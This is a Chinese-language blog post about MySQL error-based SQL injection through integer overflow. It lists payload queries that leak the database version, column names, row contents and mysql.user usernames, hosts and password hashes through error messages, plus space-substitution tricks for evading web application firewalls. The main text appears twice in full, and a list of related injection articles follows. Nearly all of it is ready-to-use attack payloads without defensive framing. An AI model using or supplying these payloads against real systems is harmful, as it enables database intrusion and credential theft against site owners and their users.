新型mysql报错注入
2014-08-12 15:56
543 查看
新型mysql报错注入,这种报错注入主要是基于mysql中无符号int数据类型的溢出:
1.查询数据库版本:
select 2*(if((select 8 from (select (version()))s),18446744073709551610, 18446744073709551610));=select 1E308*if((select * from (select version())x),2,2)或者=select if(x,2,2)*1E308 from(select version()x)y
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 from Dual), 18446744073709551610.1844674407370955 1610))' 1610))'
2.获取字段名称:
select 2*if((select * from (select * from test.shop)as a limit 1)>(select * from test.shop limit 1),18446744073709551610, 18446744073709551610);=select 1E308*if((select * from(select * from mysql.user) a limit 1)>(select *from
mysql.user limit 1),2,2)
3.获取字段值:
select 2*if((select * from(select * from (mysql.user) limit 1) as a limit 1)<(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),18446744073709551610.1844674407370955 1610);=select 1E308*if((select * from(select * from mysql.user
limit 1)a limit 1)>(select * from mysql.user limit 0),2,2)
可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select * from(select * from mysql.user limit 1,1)a limit 1)>(select * from mysql.user limit 0),2,2)
需要注意的是该方法并不适用于老版的mysql,在mysql5.5存在。除此之外还需要了解错误信息的长度限制,这将决定可以获取多长的信息
4.获取指定字段的值
select 1E308*if((select user||host||password from (select * from mysql.user limit 1)a limit 1),2,2)
可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select user||host||password from (select * from mysql.user limit 1,1)a limit 1),2,2)
5.获取字段的个数:
select 1E308*if((select *from mysql.user limit 1)>(select 1),2,2)
6.其他的一些变形语句:
select (i IS NOT NULL) --9223372036854775808 FROM (SELECT version())i)a
select (x!=0x00)--9223372036854775808 FROM (select version()x)y
在mysql中,select后查询字段前的空格可以用+号代替或直接省略掉,其他地方的空格则不能替换。如select host,user from mysql.user 可以换为select+host,user from mysql.user 或者 selecthost,user from mysql.user
select!x-~0.from(select+user()x)f;
select!x-~0.from(select concat(host,user)x from mysql.user limit 1)f;
爆所有行数据:select!x-~0.from(select group_concat(host,user)x from mysql.user)f;只要将查询的数据使用concat或者group_concat合在一起组成一个字段x就可以报错注入了,上面语句中~0后面的.是用来代替空格的,即如果查询语句中查询的参数最后是数字,则可以用.来代替 空格。加上上面说的select后的空格可以用+号来代替,可以构造类似如下的语句来绕过waf等:
select+1.from mysql.user;
select+user,1.from mysql.user;
1.查询数据库版本:
select 2*(if((select 8 from (select (version()))s),18446744073709551610, 18446744073709551610));=select 1E308*if((select * from (select version())x),2,2)或者=select if(x,2,2)*1E308 from(select version()x)y
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 from Dual), 18446744073709551610.1844674407370955 1610))' 1610))'
2.获取字段名称:
select 2*if((select * from (select * from test.shop)as a limit 1)>(select * from test.shop limit 1),18446744073709551610, 18446744073709551610);=select 1E308*if((select * from(select * from mysql.user) a limit 1)>(select *from
mysql.user limit 1),2,2)
3.获取字段值:
select 2*if((select * from(select * from (mysql.user) limit 1) as a limit 1)<(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),18446744073709551610.1844674407370955 1610);=select 1E308*if((select * from(select * from mysql.user
limit 1)a limit 1)>(select * from mysql.user limit 0),2,2)
可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select * from(select * from mysql.user limit 1,1)a limit 1)>(select * from mysql.user limit 0),2,2)
需要注意的是该方法并不适用于老版的mysql,在mysql5.5存在。除此之外还需要了解错误信息的长度限制,这将决定可以获取多长的信息
4.获取指定字段的值
select 1E308*if((select user||host||password from (select * from mysql.user limit 1)a limit 1),2,2)
可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select user||host||password from (select * from mysql.user limit 1,1)a limit 1),2,2)
5.获取字段的个数:
select 1E308*if((select *from mysql.user limit 1)>(select 1),2,2)
6.其他的一些变形语句:
select (i IS NOT NULL) --9223372036854775808 FROM (SELECT version())i)a
select (x!=0x00)--9223372036854775808 FROM (select version()x)y
在mysql中,select后查询字段前的空格可以用+号代替或直接省略掉,其他地方的空格则不能替换。如select host,user from mysql.user 可以换为select+host,user from mysql.user 或者 selecthost,user from mysql.user
select!x-~0.from(select+user()x)f;
select!x-~0.from(select concat(host,user)x from mysql.user limit 1)f;
爆所有行数据:select!x-~0.from(select group_concat(host,user)x from mysql.user)f;只要将查询的数据使用concat或者group_concat合在一起组成一个字段x就可以报错注入了,上面语句中~0后面的.是用来代替空格的,即如果查询语句中查询的参数最后是数字,则可以用.来代替 空格。加上上面说的select后的空格可以用+号来代替,可以构造类似如下的语句来绕过waf等:
select+1.from mysql.user;
select+user,1.from mysql.user;
相关文章推荐
- Php+Mysql注入专题
- 对php+mysql的注入攻击
- MYSQL 注入精华
- 从php+mysql环境的注入,到整台服务器的沦陷
- [Injection]对MYSQL 5.0服务器以上版本注入
- MySql 防注入及SQL语句安全检测
- mysql注入时的注释处理
- 利用PHP程序设定防止MySQL注入或HTML表单滥用
- MYSQL 注入资料总结
- mysql注入大全
- 新型注入方式直击网络——session注入探究
- SQL Injection with MySQL 注入分析
- php+mysql 注入
- php+mysql注入详细
- PHP+MYSQL网站注入扫描
- Mysql注入攻击
- MYSQL-INFORMATION_SCHEMA信息数据库(MYSQL注入猜解)
- 防止MySQL注入或HTML表单滥用的PHP程序
- mysql 5注入中group_concat的使用
- 攻击方法:谈php+mysql注入语句构造